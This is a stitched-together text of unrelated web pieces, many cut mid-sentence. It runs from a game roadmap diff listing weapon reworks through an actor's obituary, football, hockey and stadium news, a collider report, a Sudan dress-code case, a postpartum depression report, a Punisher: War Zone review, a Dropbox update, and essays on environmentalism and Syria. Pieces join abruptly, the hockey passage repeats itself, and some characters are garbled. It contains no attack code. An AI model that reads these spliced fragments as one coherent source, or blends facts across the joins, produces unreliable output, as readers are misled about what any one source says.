541 Klaus and Werner Gallant Rifle 546 Klaus and Werner Gallant Rifle
542 547
543 Feature Complete 548 Feature Complete
544 549
545 Arrowhead Sniper Rifle 550 Arrowhead Sniper Rifle
546 551
547 Rework of the legacy weapon. 552 Rework of the legacy weapon.
548 Feature Complete Some minor polish remains. 553 Feature Complete Some minor polish remains.
549 554
550 KSAR Devastator-12 Shotgun 555 KSAR Devastator-12 Shotgun
551 556
552 Rework of the legacy weapon. 557 Rework of the legacy weapon.
553 Feature Complete Some minor polish remains. 558 Feature Complete Some minor polish remains.
559
560 Klaus and Werner Arclight Pistol
561
562 Rework of the legacy weapon.
563 With the moving of our release date, this weapon rework has been signed off to be included for the 3.0.0 release.
564 Feature Complete
565
566 Gemini L86 Pistol
567
568 Rework of the legacy weapon.
569 With the moving of our release date, this weapon rework has been signed off to be included for the 3.0.0 release.
570 ETA is 28th July
571
572 Behring P4-AR
573
574 Rework of the legacy weapon.
575 With the moving of our release date, this weapon rework has been signed off to be included for the 3.0.0 release.
576 ETA is 19th July
554 577
555 Beyond 3.0.0 - Overview 578 Beyond 3.0.0 - Overview
556 579
557 Click Here to Download. 580 Click Here to Download.
558 581
559 3.1.0 Goals 582 3.1.0 Goals
560 PERSISTENT UNIVERSE CONTENT 583 PERSISTENT UNIVERSE CONTENT
561 New Additions: 584 New Additions:
562 585
563 Modular Space Station – Truckstop 586 Modular Space Station – Truckstop
564 Arc Corp / Area 18 587 |
his surviving teammates time to escape. He did not appear in any of the Predator sequels. Following Predator, Landham would continue to act throughout the 90's. He has over 50 acting credits to his name over the course of his long career. In 2003, he left the movie business in order to pursue a political career. He made a brief campaign for the governor of Kentucky, but was unable to secure the Republican Party nomination. He also ran for Kentucky State Senate in 2004 but once again did not secure a nomination. In 2008, he was nominated by Kentucky's Libertarian party for a seat in the U.S. Senate, but his nomination was rescinded after comments he made on a political radio show. You can watch a clip of Sonny Landham in the opening scene of 48 Hrs. down below. Sonny Landham is survived by his son, William, and daughter, Priscilla. Blended From Around The Web Facebook
Back to topLukaku: Everton is a good fit for me
by | 12/10/2014
The �28m acquisition scored 16 times for the Blues last season in all competitions but has managed just two so far in seven Premier League starts.
There is no question in his mind that he made the right decision despite a disappointing start to 2014-15.
�I'm here and I'm happy," the Belgian international said in The Mirror. "I don't regret any choices I've made. Everton was the best choice I could make as a young player who wants to progress and develop."
�This club is a good fit for me. They made so many efforts to get me. I feel at home here. I thought about Serie A and Juventus because they are a big club. But for me Everton was �perfect.�
He remains ambitious on both a personal level and for the Blues with whom he is chasing the Champions League they so nearly claimed last season.
�Pressure? For me it's just about not losing my drive. My mind is always focused on football.
"At some point you have to make the decision: Do you want to be a squad member or do you want to build your career? I chose the latter and I think I am in a team now where there is that ambition to be one of those big teams.
�Everton play good football, we play at the top part of the league and everyone wants to win. We want to show that last year wasn't a fluke.
�Our mission is to get that Champions League slot because it was in our hands last season and we let it slip.�
Quotes sourced from The Mirror
Note: the following content is not moderated or vetted by the site owners at the time of submission. Comments are the responsibility of the poster. Disclaimer
© ToffeeWebChina to build “Higgs factory” twice the size of Cern’s Large Hadron Collider
China is planning to enter the experimental physics super leagues with a particle accelerator seven times more powerful than the CERN Large Hadron Collider (LHC), which discovered the Higgs boson.
The project was first mentioned in three years ago, but most physicists around the world assumed that the Chinese would begin with a modest project to hone their skills.
Instead, they are planning to build a 100km long loop, more than three times longer than the LHC.
The aim is to produce a “factory” for making Higgs bosons in hopes that if hundreds of bosons are produced, it will be possible to find deviations from the particle physics’ “standard model”, which would then give theoretical physicists data for their hypotheses.
Wang Yifang, the director of the Institute of High Energy Physics in Beijing, told China Daily: “The technical route we chose is different from the LHC. The LHC smashes together protons and generates Higgs particles together with many others. The proposed CEPC, however, collides electrons and positrons to create an extremely clean environment that only produces Higgs bosons.”
The design of the facility will not be completed until 2018 and work will begin in 2020, by which time China hopes to have recruited physicists from around the world to staff on the project.
The location of the scheme has not been decided, but Wang has suggested Qinhuangdao, a northern port city near the start of the Great Wall.
Yifang Wang, the director of the Institute of High Energy Physics in Beijing, who proposed the accelerator (IHEP)
The Higgs boson is the particle that carries the Higgs field, which is thought to exist throughout the universe, and which explains a number of mysteries about the standard model, such as why particles have mass and why the strong nuclear force that binds the nuclei of atoms has such a short range.
It is also one of the strangest particles so far discovered, having no spin, no electromagnetic charge and the ability to interact with itself.
“In this situation, you just have to put this brand new weird particle under as powerful a microscope as you can,” Nima Arkani-Hamed, a theoretical physicist at the Institute for Advanced Study in Princeton, told the IHEP.
Arkani-Hamed is the first director of Beijing’s new Center for Future High Energy Physics, tasked with investigating the physics capabilities of such a machine and getting physicists around the world on board with the project.
The Large Hadron Collider, where the Higgs was discovered, produces the particle in proton-proton collisions. Experiments at the LHC will continue to study the Higgs over the next decades. But scientists around the world—including the group in China—are also planning ahead for ways to get an even closer look at the bizarre particle.
Top photograph: Spot the boson: one of Cern’s 2012 experiments that coaxed the Higgs into revealing itself (Source: Cern)12 Jan 2018, 07:31am
On 16 August 2015, Ferdous Al Toum was found guilty of ‘indecent or immoral dress’ and sentenced to 20 lashes and a fine of 500 Sudanese pounds.
She was arrested along with 11 other young women on 25 June who were leaving a church ceremony at the Evangelical Baptist Church in Khartoum North.
The women were all wearing skirts or trousers, yet were accused of ‘indecent or immoral dress’. After they were arrested, the women were kept in the police station for over 24 hours, where they say they were subjected to degrading treatment and humiliating verbal abuse.
Charged again for her clothing
Ferdous was not only sentenced for her appearance outside the church – she was charged again for the clothes she wore in the courtroom at her trial.
The judge decided to defy all proper legal proceedings by bringing the same charges against her twice, as he believed the dress Ferdous wore to court to be ‘indecent’.
She was sentenced to a large fine for her appearance in court (paid on her behalf by activists and supporters), as well as the lashes.
Sentence overturned
Following an appeal by Ferdous’ lawyers, her conviction was finally quashed by the Court of Appeal on 14 October 2015.
Thank you to everyone who took action on her case - we believe this result is partly due to activism and international pressure.
Sudan’s ban on women wearing trousers
Some of the young women facing trial were wearing skirts, some wearing trousers when they were arrested. Sudan’s famous intolerance of women wearing trousers made international headlines when Sudanese journalist Lubna Hussein was fined for wearing trousers in 2009.
‘Indecent or immoral dress’ was outlawed in Sudan in 1991 with the creation of the country’s Criminal Act. Under Article 152, the Public Order Police (known as the ‘morality police’) can arrest a man or woman they believe to be ‘causing annoyance to public feelings’ through their appearance.
‘Whoever commits, in a public space, an act, or conducts himself in an indecent manner, or a manner contrary to public morality, or wears an indecent or immoral dress, which causes annoyance to public feelings, shall be punished, with whipping, not exceeding 40 lashes, or with a fine, or with both.’ Article 152, Criminal Code
Although the law can be applied equally to men and women, in practice women it is disproportionately women who are discriminated against using the Act.
Discrimination against Christians
Though they were arrested by a Baptist church in Khartoum, the women are all from the Nuba Mountains in South Kordofan state, home to one of Sudan’s largest Christian communities.
Sudan is a predominantly Muslim country, ruled by Shari ’a law. Christians comprise around 3% of the country’s population.
A lawyer for the women told The Guardian that the women ‘have different traditions and customs from Muslims, and they are being tried because the law is [too] loose’.
Last year, another Christian woman, Meriam Ibrahim, made international headlines when she was sentenced to death for refusing to renounce her Christian faith.
After a high-profile campaign for her release, Meriam was freed just weeks after she was sentenced to hang."Yakupov is still with Edmonton...
That was a name I heard a couple of times on Saturday by the way. Here is what I heard, Edmonton was looking at PIttsburgh as maybe a place they could move Yakupov and Edmonton would like a young defenseman like Pouliot, so that was interesting"
It’s going to be interesting to see the fallout from all this, because he’s a really, really proud kid.
--
There’s a phrase I use sometimes, and it’s used for players like Guy Lafleur and others; he’s got this ‘Gallic greatness’ about him. That is, players that are born and raised in the province of Quebec […], some of them have almost an indefinable quality that they believe they’re special, and given the opportunity they do special things. And this kid, by virtue of what he did with MacKinnon in Halifax and all of that, I think he perceives himself in that manner.
--
He was the only one of his draft class at the top end that got sent back to Junior for his 18-year-old season. He was the only one, and I’m sure he wasn’t happy about that. But he also understood the circumstances. Tampa is a pretty deep team. So then he finally gets up there and doesn’t play a lot, and when he does a lot of times it was fourth line minutes. And now he’s not playing at all. I’ve got to figure that he’s going out of his mind.
--
And this notion that he’s not physical mature enough or he’s not defensive-minded enough, he’s a kid who’s going to say: “Yeah, that’s all well and good, but I’ve got special qualities and you’re not letting me do that.” I have to believe that there’s a huge amount of frustration on his part.
--
And, quite frankly, if you look back at that draft from a positional point of view, how much better would the Tampa Bay Lightning be right now had they taken Seth Jones instead of Jonathan Drouin? Maybe they don’t have to trade for Braydon Coburn at the deadline.
--
It’s a fascinating dichotomy because these kids do special things, they’re special players. I’ve got to believe that Jonathan Drouin is a special player, and if given the opportunity will do some special things. But he obviously, at this stage of his career, doesn’t have the confidence of his coach, or the coach believes there are better options.
--
TSN Drive asks: Can you see a trade coming involving Drouin?
It’s going to be interesting to see the fallout from all this, because he’s a really, really proud kid.
--
There’s a phrase I use sometimes, and it’s used for players like Guy Lafleur and others; he’s got this ‘Gallic greatness’ about him. That is, players that are born and raised in the province of Quebec […], some of them have almost an indefinable quality that they believe they’re special, and given the opportunity they do special things. And this kid, by virtue of what he did with MacKinnon in Halifax and all of that, I think he perceives himself in that manner.
--
He was the only one of his draft class at the top end that got sent back to Junior for his 18-year-old season. He was the only one, and I’m sure he wasn’t happy about that. But he also understood the circumstances. Tampa is a pretty deep team. So then he finally gets up there and doesn’t play a lot, and when he does a lot of times it was fourth line minutes. And now he’s not playing at all. I’ve got to figure that he’s going out of his mind.
--
And this notion that he’s not physical mature enough or he’s not defensive-minded enough, he’s a kid who’s going to say: “Yeah, that’s all well and good, but I’ve got special qualities and you’re not letting me do that.” I have to believe that there’s a huge amount of frustration on his part.
--
And, quite frankly, if you look back at that draft from a positional point of view, how much better would the Tampa Bay Lightning be right now had they taken Seth Jones instead of Jonathan Drouin? Maybe they don’t have to trade for Braydon Coburn at the deadline.
--
It’s a fascinating dichotomy because these kids do special things, they’re special players. I’ve got to believe that Jonathan Drouin is a special player, and if given the opportunity will do some special things. But he obviously, at this stage of his career, doesn’t have the confidence of his coach, or the coach believes there are better options.
--
TSN Drive asks: Can you see a trade coming involving Drouin?
I don’t know. The Tampa Bay Lightning are liable to say: “You know what? Suck it up kid. You’re our property, and you’re going to be a great player for us. But you’ve got to be patient.”
And I could see the kid saying: “Hey, if you don’t have confidence in me I’m sure there are 29 other teams out there that would take me in a heartbeat. So let’s get this done.”
Instead of trading Derrick Pouliot in a large package for an established winger that also has a large cap hit perhaps Pittsburgh should look to trade him for the forward version of himself (young, ELC, promising).I have an audio transcript from Rob Rossi on Trib Live Radio. This excerpt from the 21:50 mark was worth noting.To my knowledge Rob Rossi is the only guy who has even mentioned this. The phrasing of what he said was what made it interesting. "Edmonton may be looking at Pittsburgh".Here's the thing with Yakupov. I think he can be a good player and that he has suffered from the toilet that Edmonton has been the past few years. However, he is a former #1 overall pick and Edmonton will still place value on him like he is a former #1 overall pick whether he has played like it or not. This is a situation where Edmonton will just hang on to Yakupov unless they are bowled over and that is fine. I wouldn't advise utilizing Pouliot in a Yakupov deal.This did give me another idea though. There is another forward with pedigree that I would target with Derrick Pouliot and that player is Jonathan Drouin. Drouin is the former #3 overall pick from 2013 and fell out of favor with Head Coach Jon Cooper in the playoffs. If you take a gander at Tampa's depth chart they are littered with very good forwards.I would be OK with moving Derrick Pouliot for the forward version of himself. Understand that it would not be a one for one kind of deal the Penguins as I believe the Penguins would have to add to it. Perhaps this is the kind of trade that would make sense to include Beau Bennett in? Tampa gets a high end defense prospect and also buys low on a skilled player that could rebound in the near future.In 70 games played this season Jonathan Drouin had a even-strength points per 60 of 1.95. That is the upper end of the second line level and just a shade below the 2.0 level for first line players. Drouin also carried a Score-Adjusted Fenwick of 53.9% which is very impressive. Drouin was sheltered from tough competition but he wasn't spoon fed a high quality of teammate:The great Bob McKenzie had this to say on TSN 1050 during the Tampa Bay Montreal series this springInstead of losing a high end ELC contract like Pouliot and taking on tons of salary IE: Kessel why not take on the slightly better ELC version of Pouliot? Something to think aboutThanks for reading!Follow me on twitter Follow @GunnerStaalSenate to hold 6 hearings on PawSox stadium plan starting Sept. 14 Copyright by WPRI - All rights reserved (Image provided by PawSox) [ + - ] Video
PROVIDENCE, R.I. (WPRI) - A top Rhode Island Senate committee has set a series of hearings starting in mid-September to review the proposal for a new Pawtucket Red Sox baseball stadium, as well as a new website about the effort.
Senate Finance Committee Chairman William Conley, D-East Providence, said his panel would hold hearings on the stadium proposal in six communities around Rhode Island. Information about the hearings will be posted at a new website, PawSoxHearings.com, where residents can also provide feedback.
"We want to ensure that the voice of the people is heard," Conley said in a statement.
All the hearings will take place at 6 p.m. The schedule and topics are:
• Sept. 14: Room 313, State House. "The committee will outline the hearing process, receive an overview of the proposal, and take public testimony."
• Sept. 26: Tolman High School, Pawtucket. "The committee will review potential ancillary development and Pawtucket's risk, and take public testimony."
• Oct. 3: Swan Hall Auditorium, URI, Kingston. "The committee will examine the economic model and review state level risk analysis, and take public testimony."
• Oct. 11: Media Presentation Theatre, NEIT, East Greenwich. "The committee will conduct general inquiry into previous testimony and presentations, and take public testimony."
• Oct. 12: Room 283, Roger Williams University School of Law, Bristol. "The committee will continue its inquiry and take public testimony."
• Oct. 19: Bello Center Grand Hall, Bryant University, Smithfield. "The committee will continue its inquiry and take public testimony."
In May, the PawSox ownership group unveiled a plan to build a new, $83-million stadium on the site of the Apex building in Pawtucket, with $45 million funded by the team, $23 million covered by the state and $15 million covered by the city of Pawtucket.
While Pawtucket Mayor Don Grebien has been pushing hard for the stadium, Gov. Gina Raimondo and House Speaker Nicholas Mattiello have appeared lukewarm toward it, and critics have questioned whether public money should be used for a ballpark. Meanwhile, officials in Worcester have begun an effort to lure the team there.
But in a sign the stadium plan may be gaining some momentum, Mattiello said Monday his chamber plans to take up the issue soon, too.
"The House Finance Committee will hold a hearing on the PawSox' legislation in the near future," Mattiello said in a statement. "I will collaborate with Chairman [Marvin] Abney to determine the proper approach to this issue."
During a June 30 appearance on WPRI 12's Newsmakers, Conley said the purpose of the PawSox hearings "road show" would be "to make sure that everybody in the public who wants to be heard will have a full and fair opportunity to be heard." He said lawmakers have learned lessons from the 38 Studios debacle, and recognizes the need to build public trust.
"I am approaching the upcoming hearings not as a cheerleader for the proposal but as a steward of the taxpayers' dollars," Conley, who represents Pawtucket, said in a commentary distributed by his office. "We are working to determine whether this is a wise investment for the state."
"At the conclusion of the hearing process, the Senate Finance Committee will issue a final report containing findings based on all the testimony and written comments, and make any amendments to the legislation that the committee determines are warranted," he said.Sometimes it helps to take look the world through an unconventional perspective when thinking about the size of things.
So here's a pretty awesome map from Bank of America Merrill Lynch's "Transforming World Atlas" research note that shows the world according to free-float equity market capitalization in billions of dollars measured by the MSCI.
The US, with a market cap of $17.9 trillion, is the biggest and represents 53.4% of the world's market cap — the highest percentage since November 2003.
The next largest equity markets are Japan, UK, France, Switzerland, Germany, and China.
Hong Kong's market cap is pretty close in size to China (although, both are significantly smaller than countries like the US and Japan).
Another interesting to do is to compare this map to the a similar one from last year. Although the relative sizes of the countries are little changed, the market cap sizes for most of the stock markets have shrunk.
Check out the whole map below.Today I’m talking with producers Briand Udovich and Justin Duprie of Rough and Tumble Films. We discuss the ways independent filmmakers working in the sub 1 million dollar range can compete with other larger budget films. Starting with his film All the Boys Love Mandy Lane, Udovich has had a track record of delivering high productoin value and star power at a fraction of the cost of independent films in the same league. His latest filme, Bad Turn Worse, stars Mackenzie Davis, Jeremy Allen White, and Mark Pelligrino.
From IMDB:
Brian Udovich has a Masters degree from the AFI (American Film Institute) and bachelors from Illinois Wesleyan University.
Awarded a grant from the Alfred P. Sloan Foundation for his AFI Thesis The Monster And The Peanut. Awarded the Robert M. Mongomery Outstanding Young Alumnus award by Illinois Wesleyan University.
A 4-year varsity letterman in football at Wesleyan as a defensive lineman. Attended famed high school football powerhouse Joliet Catholic Academy (Mike Alstott, Dan “Rudy” Ruettiger).
Former Senior Business Consultant for the French firm Cap Gemini.
Currently resides in Los Angeles.The White House will not be subjected to a Donald Trump makeover, the president elect has promised.
He is known for his glitzy branded hotels across the world, but Mr Trump pledged he would respect the White House’s architecture.
He said he would not seek to leave his mark on a building which was designed by the Irish architect James Hoban in the 1790s and rebuilt after being burnt to the ground by the British in 1814.
The president-elect made his pledge on OBJECTified Donald Trump, a one hour documentary on Fox News, hosted by Harvey Levin, the founder of the TMZ showbusiness website.
“The White House is a special place, nothing will change at the White House,” Mr Trump said.
In the documentary, designed to show the more human side of the flamboyant billionaire, Mr Trump spoke of his alcoholic brother Freddie who died when he was only 42.
“He was the whole package. He got into trouble with alcohol; he died because of that," he said.Task Force: Pregnant women, new mothers should be screened for depression
New information released about depression and pregnant women has prompted health officials to recommend that pregnant women and new mothers need more attention when it comes to depression screening.Three-month-old Nash is Laura Diaz’s little sweetheart, but his mother, the XL 1067 radio personality, says it wasn’t always like this. Diaz said she began to feel like something was wrong when she was pregnant.Diaz said things began to get darker for her after her son was born. “I remember looking at him screaming at the top of his lungs for hours, and I thought, maybe I should put this pillow on his face, that would end this right now.”Diaz sought help from her doctor and family and is now being treated for maternal mental illness.The U.S. Preventive Services Task Force recently recommended that women be screened for depression during pregnancy and after giving birth.Dr. Lori Boardman, the chief medical officer for the Florida Hospital for Women, applauds the new recommendation. “A lot of women get the baby blues, postpartum depression takes it up another level,” Boardman said.Boardman said withdrawal and sadness can happen a year after the baby is born.Diaz hopes that by taking the shame away, more women will seek treatment.
New information released about depression and pregnant women has prompted health officials to recommend that pregnant women and new mothers need more attention when it comes to depression screening.
Three-month-old Nash is Laura Diaz’s little sweetheart, but his mother, the XL 1067 radio personality, says it wasn’t always like this. Diaz said she began to feel like something was wrong when she was pregnant.
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Diaz said things began to get darker for her after her son was born. “I remember looking at him screaming at the top of his lungs for hours, and I thought, maybe I should put this pillow on his face, that would end this right now.”
Diaz sought help from her doctor and family and is now being treated for maternal mental illness.
The U.S. Preventive Services Task Force recently recommended that women be screened for depression during pregnancy and after giving birth.
Dr. Lori Boardman, the chief medical officer for the Florida Hospital for Women, applauds the new recommendation. “A lot of women get the baby blues, postpartum depression takes it up another level,” Boardman said.
Boardman said withdrawal and sadness can happen a year after the baby is born.
Diaz hopes that by taking the shame away, more women will seek treatment.
AlertMeThere’s always going to be – for lack of a better term – a stack of films we’ve been meaning to get to. Whether it’s a pile of DVDs and Blu-rays haphazardly amassed atop our television stands, or a seemingly endless digital queue on our respective streaming accounts, there’s simply more movies than time to watch them. This column is here to make that problem worse. Ostensibly an extension of Everybody’s Into Weirdness (may that series rest in peace), The Savage Stack is a compilation of the odd and magnificent motion pictures you probably should be watching instead of popping in The Avengers for the 2,000th time. Not that there’s anything wrong with filmic “comfort food” (God knows we all have titles we frequently return to when we crave that warm and fuzzy feeling), but if you love movies, you should never stop searching for the next title that’s going to make your “To Watch” list that much more insurmountable. Some will be favorites, others oddities, with esoteric eccentricities thrown in for good measure. All in all, a mountain of movies to conquer.
The twenty-ninth entry into this unbroken backlog is the vibrantly hyper-violent comic book cartoon, Punisher: War Zone…
With the announcement of every upcoming tentpole comes the internet’s incessant rumblings regarding how the creatives both in front of and behind the camera should be women, people of color, queer, or a combination of the three. This is a good thing, as one look at a graphic representation regarding the current above the line job distribution in Hollywood reveals quite the disparity. But when these opportunities are earned by those we champion, it’s our job as fans to show up and support them financially. It literally becomes a “put up or shut up” proposition, and unfortunately in the case of Lexi Alexander (a female filmmaker of German/Palestinian descent) and Punisher: War Zone, nobody put the fuck up when the movie hit theaters in December ‘08. Made on the cheap for $30 million, War Zone only grossed $8 million at the US box office (and another $2 million internationally). To put matters in perspective, this third live-action iteration of the character was released the same year Iron Man arrived and brought the beginning of the MCU with it (to the tune of $318 million domestic). Superhero fever was sticky in the air, but somehow War Zone still grossed less than both Elektra and Howard the Duck.
This is a real shame, because War Zone is easily one of the best comic book pictures ever made – a garish mash-up of '80s action film throwback and gory monster movie. Yet that may be the very reason why those who did arrive at their local Regals might’ve been a bit baffled by this brash pop transgression (it received a paltry B- on the oft-faulty audience barometer CinemaScore). Alexander delivers what feels more akin to a splatter aficionado’s half-remembered afternoons getting high and watching Cannon Films in their basement. Her Frank Castle (Ray Stevenson) isn’t so much a hero as he is a brutish deliverer of death not too far removed from Jason Voorhees. Tales of his crime syndicate executions and the files linked to these genocidal acts now number large enough to fill a whole basement system at an NYPD precinct. Instead of explaining to us how we got here, Art Marcum, Matt Holloway and Nick Santora’s script assumes we already know why this ex-Special Forces psycho wears a skull on his chest and possesses a firearm fascination that would petrify even the staunchest Southern NRA member. They know we’re here for the violence, and Alexander (with the help of James Cameron’s former producing partner, Gale Anne Hurd) is more than happy to oblige.
In fact, Alexander’s movie is rather upfront about Castle being a rather boring central character. Taking her cues from the best Batman movies (which are always better defined by their villains than they are the Bat’s actual actions), Alexander provides a foe for this new Punisher that elevates the movie’s horrific leanings even higher. Feeling like a goombah big bad Chris Moltisanti would’ve crafted had Cleaver become a big hit and he been given the keys to the Marvel Kingdom, Billy “The Beaut” Russotti (Dominic West) is an obnoxious gangster caricature. Told by his boys to “take it easy” before he enters meetings with the Don, he’s an archetypical Italian alpha. But ain’t nobody gonna tell Billy to be quiet, and after the Punisher stages an annihilation at his latest sit down, the blowhard stands as the only survivor. Now Billy can do whatever the hell he wants, because New York’s underworld is his for the taking. We all know that’s not going to happen, as the Punisher barely lets him be for five minutes after the mass killing, tossing the profane blabbermouth into a recyclable plant’s glass crusher while the well-dressed thug howls about it scarring his pretty face. Billy will emerge from the wreckage as Jigsaw, sporting a reconstructed visage so horribly disfigured it causes his henchman to vomit.
Dominic West has one iconic character (Jimmy McNulty from The Wire) under his belt, coasting on good looks and a devilish charm while his Baltimore accent faltered and revealed his English roots. Jigsaw transmutes this East Coast impersonation and amplifies it to eleven, as West garbles every line like he’s ordering a charcuterie board at his favorite Brooklyn Italian joint while trying desperately to fit in with the locals. Acting behind layers of impressive makeup effects (that truly are difficult to look at from certain angles), no amount of neon lit scenery can stop him from taking a big bite out of it. Once he recruits his psychotic, cannibalistic brother, Loony Bin Jim (an unhinged Doug Hutchison), the movie almost shifts focus completely to this Guido Frankenstein and his zealot Igor. Like Bill Lustig’s Maniac Cop sequels, steamy New York City is standing in for foggy, gothic sets, as War Zone shares a similar affinity for classic horror, simply updated with aughts crime film aesthetics.
The villains aren’t the only supporting characters vying to steal the show from Frank, as he’s orbited by a colorful array of goofballs. The entire police force is basically supporting his vigilante antics, as one inept doof (Dash Mihok) makes up the city’s “Punisher Task Force”. However, that kid’s certainly committed to catching Castle in the act, though he may ask for an autograph quicker than he whips out the cuffs. The one-man army’s weapon and tech supplier, Micro (Wayne Knight), isn’t so much comedic relief as he’s present to constantly remind Castle that he still has a soul, and should operate utilizing some sort of moral code. Brosnan-era Bond regular Colin Salmon is the Fed on the Punisher’s trail, hunting the killer down after an undercover agent is slain amidst his mafia massacre. That agent’s widow and daughter (Julie Benz and Stephanie Janusauskas) trigger guilt and memories in the shadowy enforcer’s mind of the family he lost to gangland violence following their witnessing of an execution. It’s a whole world Alexander builds around this stoic man of violence that becomes engrossing, and the fact that we only got to visit with them once is a tragedy to lament.
Equally worthy of our grief is the fact that Alexander’s comic book vision is gorgeous – bathed in pinks, reds, yellows, blues and greens. Even a lengthy info dump in a church between Castle and a priest becomes visually intoxicating – the cross behind the pulpit radiating a blinding purple neon as flickering candles flank Frank’s head. When folks (this writer included) complain about the producer-driven “house style” that Marvel would later employ when churning out their never-ending MCU entries, it’s important to remember that, if this movie had been a hit, we may have been gifted with a sting of bonkers, hard-edged alternatives churned out via the company’s Marvel Knights banner (which only has this and ‘11’s Ghost Rider: Spirit of Vengeance to its credit). Steve Gainer’s photography is as evocative as it is dirty-looking; painting every single scene with a keen attention to anti-reality. War Zone never once tries to pass the universe in which it exists as anything but elevated, and the painstakingly flamboyant design emphasizes that at every turn.
The action in War Zone is unremarkable choreography-wise, but cleanly staged and photographed, with a solid sense of geography established in each set piece. Where many directors in the genre go for balletic showiness, Alexander approaches Castle’s violent conquests with ruthless efficiency. Heads are split by hollow point bullets after he decapitates a man with a large blade. It’s the slasher film cousin of so many lo-fi shoot ‘em ups, strained through the panels of that era’s best graphic novels. Alexander was giving us playful, unrestrained craft; putting her own stamp on what could’ve been (and has been) nothing more than routine fare. We need more movies like this, but people flock to its antithesis.
To be fair, pre-release controversy contributed to War Zone being ignored at the BO. Alexander was reported to have been removed as director and the movie taken away from her – a claim that was later denied by both the studio and Alexander herself (though she did not have final cut on the movie). Instead, it seems like creative bickering between Lionsgate and Marvel trapped the filmmaker in the middle, as she was serving two masters that wanted different things from their product. Still, this behind the scenes turmoil doesn’t excuse comic book and action movie fans from refusing to recognize the movie’s greatness when it mattered, opting only to celebrate it in hindsight. This isn’t a “so bad it’s good” title (like so many wrongheaded listicles have claimed since ’08). War Zone is exactly what we want out of a Punisher picture: gleeful violence in a world gone mad, where one man opts to judge the wicked.
Punisher: War Zone is currently available on Blu-ray and to stream.Dropbox has become a staple of many Mac users’ workflows; combine that with the company’s conservative autoupdate strategy, and you can bet that folks will be flocking to the cloud-storage service’s website to download Dropbox 2.0.
The biggest change in version 2.0 of Dropbox is a brand new style for the app’s drop down menu. Rather than the somewhat static menu of updates past, Dropbox now features a live timeline of updates to your Dropbox, including sharing requests from other users. Think of it as a mini Notification Center, just for your Dropbox: You can quickly see what files have been updated and when. Click on any of the files, and you’ll be taken right to it in your Dropbox folder; you can even accept or decline sharing requests from the menu itself.
Dropbox's new menu interface provides faster access to your updated files and sharing requests.
In addition to being notified of changes to your Dropbox, the menu offers quick access to sharing any of those files with others—just hover over the item in question and click the Share button that appears. You’ll be taken to the Dropbox webpage for the file, where you can share the file with others via email, Twitter, or Facebook, or simply generate a link.
There are other, more minor changes to the software as well. For example, a bug that enabled discrete graphics chips on Mac laptops has been fixed, and there’s now support for Brazilian Portuguese.
Dropbox has been facing increased pressure from competitors, mainly those backed by larger companies: Apple’s iCloud, Google Drive, and Microsoft SkyDrive, for example. In addition, smaller firms have been taking shot at what’s often considered the de facto cloud-storage service.
At the South by Southwest Interactive conference last week, an anonymous Dump Dropbox campaign was waged via guerrilla marketing—some suspect that rival cloud-storage service Dump Truck was behind the campaign, though its parent company Golden Frog has not claimed responsibility.
Dropbox 2.0 is a free update for OS X 10.6 or later and Windows XP or later; the company says it will be releasing updates to its Android and iOS mobile apps later on Tuesday to bring more sharing prominent notifications.On Saturday, in the wake of his football team’s final humiliation of 2011, a 56-41 loss to North Carolina State in which the Wolfpack outscored his team 42-0 in the last 21 minutes, Maryland Coach Randy Edsall told reporters he was heading out to recruit for a couple of days and would then begin reevaluating his team and his program.
Edsall’s boss, Athletic Director Kevin Anderson, should cancel that recruiting trip. And Edsall’s reevaluation. Anderson should do the reevaluation. And here’s the conclusion he should reach in about 15 seconds: Maryland needs a new football coach.
Randy |
bullshit," said Adam Rome, a Penn State professor who is probably the world's scholarly authority on the genesis and origins of environmentalism in America.23 It's simply not an accurate depiction of the incredible variety of people who wanted to reconfigure our relationship with the nonhuman world. Not all of them were primarily interested in protecting biodiversity, and many of them were just fine with modifying the natural environment for human ends. Historian Andrew Kirk wrote,
One of the popular misconceptions about environmental advocacy in American history stems from the desire to celebrate the few individuals who advocated the preservation of nature where humans weren't, while often ignoring those who worked to use their technological enthusiasm to benefit nature. Historical actors in the drama of twentieth-century environmental advocacy are often rated on a sliding scale according to the purity of their wilderness vision.
There is an alternate vision, though, that this book has tried to highlight and that historians like Rome and Kirk have begun to excavate. From the late 1950s onward, traditional Democratic liberals -- the FDR type, not the eco type -- had a pretty coherent program for making the country better: Boost public spending on the social goods that private enterprise seemed to neglect, including environmental protection to provide "qualitatively" better lives for a large middle class that had it all.“MY COUNTRY is being destroyed,” sobs Ahmad, a student from the eastern city of Deir ez-Zor who joined the protests when they began in March 2011. “The regime is killing us, many of the opposition fighters are becoming criminals and the world is watching it like a film.” He is worried that onlookers may think this is normal, seeing that Syria lies in the centre of a region which is no stranger to wars and strife. Syria, with its chemical weapons, alliance with Iran, shrinking government and spreading militias, has become the confluence where all that is worrying about the Middle East comes together.
Two years ago Syria was a rather sleepy place. The muezzins’ call to prayer and the peal of church bells mingled above the rooftops of Damascus, the world’s oldest continually inhabited capital city, where Syrians liked to boast that Christians and Muslims, as well as people from a smattering of other sects, lived side by side in peace. People bustled through the markets. Women could stay out safely alone past midnight. Men played backgammon on the pavements with their neighbours. The Syrian accent, spread through the region by the country’s soap operas, conveyed hospitality and simplicity to fellow Arabs.
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Syrians take pride in their colourful history. Ancient buildings dot the landscape, from crusader castles to the exquisite Umayyad Mosque, the architectural masterpiece of an empire centred on Damascus that once stretched through north Africa and up into Spain.
Since Hafez Assad brought his family to power in a bloodless coup in 1970, Syria has had little to celebrate. An authoritarian state snuffed out discussion and creativity with its ubiquitous Mukhabarat and tortured those who caused trouble. Many Syrians were ready to accept this as the price of stability when Bashar Assad inherited the presidency from his father in 2000.
At first the repression seemed to ease under the new President Assad, at least for those who stuck to the bargain and kept out of opposition politics. Life became a little sweeter in 2005 when Coca-Cola arrived. Internet cafés flourished, as did the software that let Syrians visit banned websites such as Facebook. Posters of the Assads still festooned walls across the country, but schools phased out the compulsory wearing of military uniform.
Mr Assad’s stance against Israel and its main backer, America, through his alignment with Hizbullah (the Lebanese Shias’ party-cum-militia) and the regime in Iran, was popular with most Syrians. They had nothing against citizens from hostile countries: “We differentiate between the government and its people,” was a standard refrain during the American-led invasion of Iraq. But they pitied their brothers and sisters in Egypt for being ruled over by Hosni Mubarak, whom they saw as a wrinkled yes-man of the West.
